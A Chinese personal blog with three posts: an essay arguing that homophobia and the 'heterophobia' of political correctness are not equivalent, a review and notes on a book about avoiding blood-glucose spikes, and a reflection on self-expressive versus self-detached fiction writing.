我其实还憋了一大堆话没有讲出来,因为我想这些话还是通过写作阐述出来会更清晰一些。首先,我要反驳他所言的「恐同和恐异本质上是一个东西」的论断。我希望读者思考这样几个问题:有没有异性恋因为有人恐异而不敢公开表达,甚至不敢向自己承认自己的性取向?有没有异性恋因为有人恐异而被家人唾弃,最终自杀而亡?有没有异性恋因为有人恐异而不敢大声表达爱意,担心被自己喜欢的人讨厌?有没有异性恋会接收到恐异者持续不断的恶意中伤?换句话说,恐异者有没有挤压异性恋者的生存空间?
我知道这篇文章现在读起来有一股很重的「政治正确」气息,但还请先读完。这些问题指向的论点是「结果导向」的,即「恐异不能造成和恐同一样的社会问题,所以两者不能相提并论」。而且,读者可以从另一个角度反驳:恐异本身虽然不能造成严重的社会问题,但政治正确可以,即思想保守的异性恋者不敢公开表达自己对同性恋的厌恶,不敢表达自己的真实想法,也就是「不敢做自己」了。从某种角度来讲,性少数文化的确挤压了异性恋者公开表达的空间,这点我承认。
问题在于,「生存空间」和「公开表达的空间」,哪个对个体而言是不可或缺的?前者允许个体成为一个社会意义上的人,后者允许个体成为一个能够对社会产生价值的人。
被挤压生存空间的同性恋者无法享受作为一个社会人的基本权利,比如结婚,一些国家仍然会对同性恋者进行阉割或监禁,甚至死刑1;也无法享有一个人应有的社会认可,比如公开承认自己的身份、公开表达恋情而不因伴侣的性别而遭受非议,得到家庭等社会团体的支持等等(也就是说,社会不认可同性恋的「人」存在)。这使得同性恋者和其他的性少数者在社会层面上面临生存问题。
被挤压公开表达空间的异性恋者(也包括很多深柜同性恋者和双性恋者)无法在公开场合,尤其是政治相关的场合表达自己的真实立场和观点。例如,未完成性别转换手术的跨性别女性应不应该使用女厕所,应不应该参与女性的体育赛事?如果在这样的议题中扼杀了另一派的理性声音,最终给出的方案就不能使大多数人满意,而且会造成持续的、逐渐凸显的社会矛盾。我认为,许多保守者对性少数运动的不满的原因,就在于激进派的声音堵住了他们的嘴,他们的公开表达空间被挤占了。公开表达和投票一样,具有不可忽视的社会价值。
公开表达是在生存之后的,也就是说,一个人需要先在社会站稳脚跟,才能够通过发声让社会作出积极的改变。在同性恋依然是重罪的国家里,同性恋者显然无法通过发声来维护自己的权益,因为发声就意味着承认自己的取向,而承认自己的取向就意味着牢狱之灾,甚至死亡。生存空间显然是更重要的,因为即使有人不允许自己在某些话题上发表真实意见,自己也能够健康地、有尊严地生活下去。不过,我并没有说公开表达权就不重要,我的意思是,生存比表达更重要。在这一层面上,恐同和政治正确展现出来的恐异2有很大不同。
同性恋者的生存空间被挤压,和异性恋者的公开表达空间被挤压,都是两个迫切需要被解决的问题。有趣的是,这两个问题很少同时出现。在一个国家或地区,如果同性恋者的生存不再受到威胁,其多半是性少数运动的成果,而这样的运动因其激进的性质又不可避免地会挤压保守异性恋者的公开表达空间,从而使得在解决了一个更为迫切的问题之后,产生了另一个需要解决的问题。在关乎一群人的生存的问题上,我认为,暂时限制一部分人的表达自由是值得的,但我也同样认为,在前者的生存问题得到解决之后,后者的表达问题应当得到重视。这可能是美国政治正确的现状:保守派集体失声,至少在互联网上是如此。
需要认识到,包括中国在内的很多地区都还没能完全解决同性恋者的生存问题。此时,如果选择忽视这个更为迫切的问题,而更多地关注另一部分人说话的权利3,我想是不明智的。很多在简中互联网上表达对「政治正确」的不满的人,似乎没能将不同国家和地区的真实情况区别开来。在我看来,中国还不存在所谓的「政治正确」。
参见: 同性恋 - 维基百科 ↩︎
实际上,政治正确意义上的「恐异」和前文提到的同性恋者会对异性恋者感到恶心的「恐异」不是一个概念,不过政治正确的确展现出来了一种对保守派异性恋者(至少是公共身份为异性恋者的人)的排斥。 ↩︎
重申:我不是在说这部分人说话的权利就不重要,我只是指出另一个关于生存的问题更加迫切。 ↩︎
2025-10-16 22:51:00
一本以「控制血糖波动,避免葡萄糖峰值」为核心的健康饮食指南,书籍分三个部分,第一部分解释了控糖的原因,第二部分解释了葡萄糖峰值的危害,第三部分分享了十个减少血糖波动的方法技巧。本书没有列出参考文献,仅有一些脚注,不够严谨,科学知识和数据的准确性需要打个问号;但是,作者把葡萄糖对身体的影响解释得透彻且通俗,读完之后能形成一个完整的逻辑链路,了解原理之后,阅读那些控糖技巧就觉得非常自然,书中的窍门对大部分人来说都很容易实施。整体而言,是一部略显啰嗦但逻辑通顺、内容实用的书籍,值得一读。
引起血糖上升的自然是碳水化合物,而我们俗称的「碳水」和科学定义上的碳水化合物的所指其实有差别。简单来说,碳水一般指代淀粉,可能也包括葡萄糖和果糖,但是不包括纤维,尽管纤维的确是葡萄糖组成的。
最简单的糖,其他形式的糖最终会分解为葡萄糖,所谓的血糖水平就是指血液内葡萄糖的含量。细胞内的线粒体会快速把血液中的葡萄糖转化为能量,但是,如果葡萄糖太多,线粒体就没办法及时将它们转化为能量,血液中游离的葡萄糖分子就会超出身体能够承受的范围。葡萄糖过多会产生「自由基」,而自由基会破坏细胞结构,甚至修改基因信息。自由基一旦过量,就会造成「氧化应激」——这是导致心脏病、2 型糖尿病、认知功能下降和一般性衰老的主要原因。
人体内也会发生美拉德反应(就是煎牛排、烘焙咖啡豆和烤面包时发生的反应),也称糖化反应。当葡萄糖分子和另一种类型的分子发生碰撞,这个分子就会被糖化。糖化反应一直在人体内发生,这会不可避免地导致衰老。糖化反应很正常,但过多的葡萄糖会加速反应,也就会加速衰老。
过高的葡萄糖水平会引发许多身体反应,和情绪波动、精力甚至抑郁情绪都有关系。
一部分果糖会在肠道内被分解为葡萄糖,但并不是所有,有很多果糖都会和葡萄糖一样进入血液。果糖分子发生糖化反应、产生自由基的能力都远远强于葡萄糖。人们往往只会检测到葡萄糖水平而不会检测果糖水平,很多时候,果糖会静悄悄地损害人体组织和器官。而且,果糖无法像葡萄糖一样变成糖原形式储存在肝脏和肌肉中,它们只能变成脂肪。
果糖不止存在于水果中,蔗糖在进入人体之后,会被分解为葡萄糖和果糖,也就是说,食用添加了过多蔗糖的食物不仅会造成葡萄糖水平上升,还会造成更有害的果糖水平上升。
淀粉会被存在于人体中的淀粉酶分解为葡萄糖,由于需要被分解(且这个分解过程还可能受到抑制),食用淀粉之后,血糖上升的速度会比食用精制糖类更慢。而且,淀粉不会被分解为果糖,所以就算热量相同,食用含蔗糖的食物要比食用含淀粉的食物对健康更不利。
纤维也是糖,由葡萄糖组成,但不会被人体分解为葡萄糖,也就不会为人体提供能量。然而,人体需要纤维,因为纤维在帮助消化、保持健康的肠道运动、维持微生物健康等方面发挥着重要作用。
本书的核心思想不是食用含有热量更少的食物,而是食用会让血糖波动更平稳的食物,因为葡萄糖峰值会带来很多问题。除了前文提到的自由基、氧化应激、加速糖化反应之外,食用精制糖类使得血糖水平快速升高,也会导致胰岛素水平快速升高,因为身体需要胰岛素来处理血液中过多的葡萄糖。
胰岛素只做一件事情:把血液中过多的葡萄糖储存起来。身体中有三个地方可以储存葡萄糖。
胰岛素水平快速上升,也会使得葡萄糖水平在接下来快速下降,这也就使得葡萄糖水平曲线变得不那么缓和,形成了葡萄糖峰值。在峰值之后,人会很快感到饥饿、乏力。1葡萄糖峰值会使我们想摄入更多的高热量食物,而我们摄入的食物往往又是会让葡萄糖水平飙升的,这就导致葡萄糖水平会像「过山车」一样在一天内剧烈、多次波动,这对健康有诸多短期和长期的负面影响,包括但不限于食欲旺盛、睡眠质量下降、免疫系统暂时故障、皮肤长疮和粉刺等等。
由于胰岛素水平和葡萄糖水平呈正相关,如果葡萄糖水平经常爆表,那么胰岛素也是。过量的胰岛素会导致身体形成某种耐受性,在以后会需要更多的胰岛素才能处理身体内的葡萄糖,而胰腺却不能产生足够的胰岛素——这就导致了 2 型糖尿病。
身体需要能量时,会先使用肝脏和肌肉里的糖原,如果糖原储备减少,身体就会逐渐使用脂肪来提供能量,这就是所谓的「燃脂」。如果胰岛素水平居高不下,胰岛素就会阻止身体消耗脂肪,因为胰岛素和形成脂肪有关。长期葡萄糖水平和胰岛素水平不稳定,还会导致身体的代谢灵活性变差,以至于人很容易感到累、想要摄取葡萄糖,因为身体不习惯代谢储存的脂肪。
书中提到了十种控糖技巧,这里总结几种我认为比较有用且容易实施的。
如果非要吃零食,可以先等 20 分钟。饥饿感通常是血糖水平下降导致的,当身体发现血糖水平下降,肝脏就会释放葡萄糖,这个过程发生在 20 分钟内。如果 20 分钟内还是想吃,那就先喝一点醋,然后再吃,吃的时候配上一点纤维,吃完最后进行一些运动。总而言之,完全可以通过一些小技巧,在保证健康的同时又吃到自己想吃的东西。
这本书我是先借给 室友 看的,他只看了前面的一部分,便觉得作者的语气令人生厌。我读的时候,大概理解了他为什么会这样想,只不过我有一定的心理预期,而且作者是一个「社交媒体达人」,我也不指望网络红人用别的语气写作,所以没有觉得特别讨厌。如果你打算读这本书,可能需要为这种写作口吻做好准备。不过我觉得也没有很难忍受,作者只是让我联想到了一种过于热心的大姐姐,还带着少许我早已习以为常的美国人的自负而已(尽管作者是法国人)。书本的语言很通俗简单,所以读起来很快,我一天就读完了。
这本书很快就改变了我对食物的看法,甚至改变了我做饭的方式。由于我做饭时经常感到饿,所以会找零食吃,一边吃一边做饭;读完这本书之后,我会先炒一个小菜,或者白灼,然后一边吃菜一边做接下来的主菜,此前我还会喝一点醋汁。我也会在购买食品时额外注意配料表的前五项是不是有糖(因为排在最前面的就是含量最高的成分),我对餐后零食的渴望似乎也降低了不少(不过还是会馋啦)。我的确感到自己的精力和情绪更平稳了,不过这一些小的改变到底会给我带来多大的收益,还需要时间检验。
我记得这个现象叫做「糖崩溃」(sugar crash),书中没有提到这个名字。 ↩︎
2025-10-15 09:49:00
国庆的时候发现自己以前在 Backrooms 写的小说被评为当月的精品,于是就回社区看了看,还刚好卡点报名参加了最新的竞赛。在那之后,也差不多就是十月份的一半,我都在 Backrooms 中文社区活跃,也跟一些人聊到了创作这件事。在谈起不同作者的创作风格时,有一个朋友提到了很有意思的观点,我觉得可以在博客里延伸一下。
原本的话题是在谈对社区里一些成员的印象,于是我就厚着脸皮去问了别人对我的印象,他的回答很令我惊喜:
没有一般群友那么傻逼。
比较偏向于更有分寸的那种,结合文章的表达,你看起来像是平时不显露于表面但是实际上想法跟情感都丰富到一开页面直接出味来的那种。
我可以直接把文章内人物的想法当成是你的想法。
因为我觉得你的写作必然会以各种形式来表达一部分的你自己。
何止是一部分,我觉得我在写作的时候,简直像是有暴露癖一样想要把全部的自我都展现出来,尤其是在进行非虚构写作时。我曾在《
自我外化与表达欲
》中总结过我对表达和创作的看法,我认为创作就是一种自我外化,包括创作在内的许多人类行为,其实都是在把自己投出去,人就靠这种方式「存在」。在萨特的《
存在主义是一种人道主义
》这篇演讲中,也提到过相似的观点。
后来这位朋友对比了网站上了另外两位创作者,总结下来,他们的作品倾向于「不表达自我」。简单来说,读完他们的作品,读者并不能对作者这个人有更深的认识,也不能从他们的作品中感受到他们最近想了什么、经历了什么。其中一位也在之后加入了讨论,解释了他的视角,他认为自己的情感对别人而言是不那么重要的东西,所以不会主动表达。我在读他的作品时,能感受到他一直努力想要把「对别人而言重要的东西」展现出来——我认为这其实也是一种人格的体现。不过另一位作者的风格差别又很大,他的作品从头到脚透露着一种「冷淡的抽离感」,像是用极度理性、完全剔除情感的语言描述某种很可怕、情感很丰富或者充满着复杂的人味的东西,并且读者几乎看不出来他描述的东西和他自身有什么关系。
自我切割式创作不代表作者没有个人风格,也不代表作品一点也不能体现他自己,毕竟,萨特说过「不选择也是一种选择」,那么,作者选择在作品中将自己隐去,这也是他思想的体现,在某种程度上,读者能够感受到作者认为他不应该出现在作品里。类似的风格有很多的解读空间,自我切割可以是对他人的爱胜过了对自己的爱,可以是对一切人类情感的淡漠或不屑(或者重视情感,但采取一种观察者的姿态,不参与),也可以是极度理性的体现——以上没有贬义,这毕竟是一种特色。当然,和任何创作风格一样,不可避免地会有一些作者在写作中切割自我的原因是跟风,或者纯粹地因为自我意识和主体性太弱,把握不住自己是什么,所以自动切割——这就是贬义了,而且不少见。本文只探讨前一种。
自我切割式创作是由写作的目的来确定的,如果作者只是把个人思想和情感巧妙地隐藏起来了,那并不能算得上是自我切割。不过,对于读者来说,我们并不能准确地了解到作者的写作目的,只能通过作品来推测,去解读作品中表现出来的东西。借助存在主义的思想就是,一个人不多不少就是他行为的总和;在艺术之外,天才是没有的;作者的人格,对于读者来说,完全是由作品定义的。
自我切割式创作的本质是作者试图在自我之外找到创作的主题,这其实是一件极具挑战性的事情。对于自我中心式创作来说,创作就是把自己所感受到的复杂情感和思想,用语言整理和表达出来,甚至使用文字重现自己的经历(好吧,这好像也没有很简单),相比之下,自我切割式创作要求作者把自己感受不到的、一开始并不理解的东西写出来,这自然要更难把握一些。因此,自我切割式创作很适合创作类型小说,以及一切发生在架空世界中的故事,尤其是当故事发生在离读者更远的世界观里的时候。没有人知道被困在永恒的循环中是什么感觉,也没有人知道面对比自己体型大十倍的喷火恶龙是什么感觉,也没有人知道被吸血鬼咬了之后患上斯德哥尔蒙症是什么体验。由于「通感」的缺失,作者需要花更多的时间揣摩读者会怎么想,或者也可以用类比的方式让发生在异世界的故事变得更容易令人共情——不过,很多时候作者其实不需要让读者共情,只需要让他们觉得有趣,就能写出受欢迎的作品。
自我切割式创作非常需要想象力,这点不言自明。想象力也会引导作者去追求一些在自身之外的东西,比如,一套完备的系统。这套系统可以是哈利波特那样的魔法世界观,整个世界的运行规律就是一套系统。我在 Backrooms 和不少影视作品中也看到了这样的系统,不少人热衷于构建世界观,也有很多读者喜欢品鉴作品中展现出来的世界的样貌——在另一个世界进行一次精神旅行,这的确是一种令人愉悦的体验,而且与传统小说中体会人物形象的感受有很大不同。这让我想起了《查理与巧克力工厂》中参观糖果工厂的画面。当然,构建世界观并不是自我切割式创作的必要组成元素,只不过的确比较常见。
于我而言,在创作中是否投射自我、是否切割自我,并不是一次性的选择。尽管我倾向于在作品中投射个人情感,或者完全因为某种复杂的情感或思想而进行创作,但我依然很喜欢那些自我意识没那么强但同样富有个人风格的创作。比如,我就一直想要通过研究希腊神话,创作一部自己的神话体系。然而,神话体系并不完全是在构造世界观,而是在通过神的形象体现自己对世界的理解,比如,爱神爱洛斯(在罗马神话中对应丘比特)是一个小男孩,爱与美的女神阿芙罗狄忒诞生于天空之神乌拉诺斯的阳具,宙斯(在罗马神话中对应朱庇特)作为天空与雷电之神成为了万神之王,背后代表和反映了什么其实很值得玩味。
总而言之,有不少创作其实都是自我与非自我的糅合物。作者需要切割自我以应用想象力进行创作,为的是不让经验裹挟自己;有时又需要在自己身上挖掘内核或内容,这是为了写出更深入、更具个人色彩的东西。在创作时思考「自我」与「非我」的关系,大概是很有用的。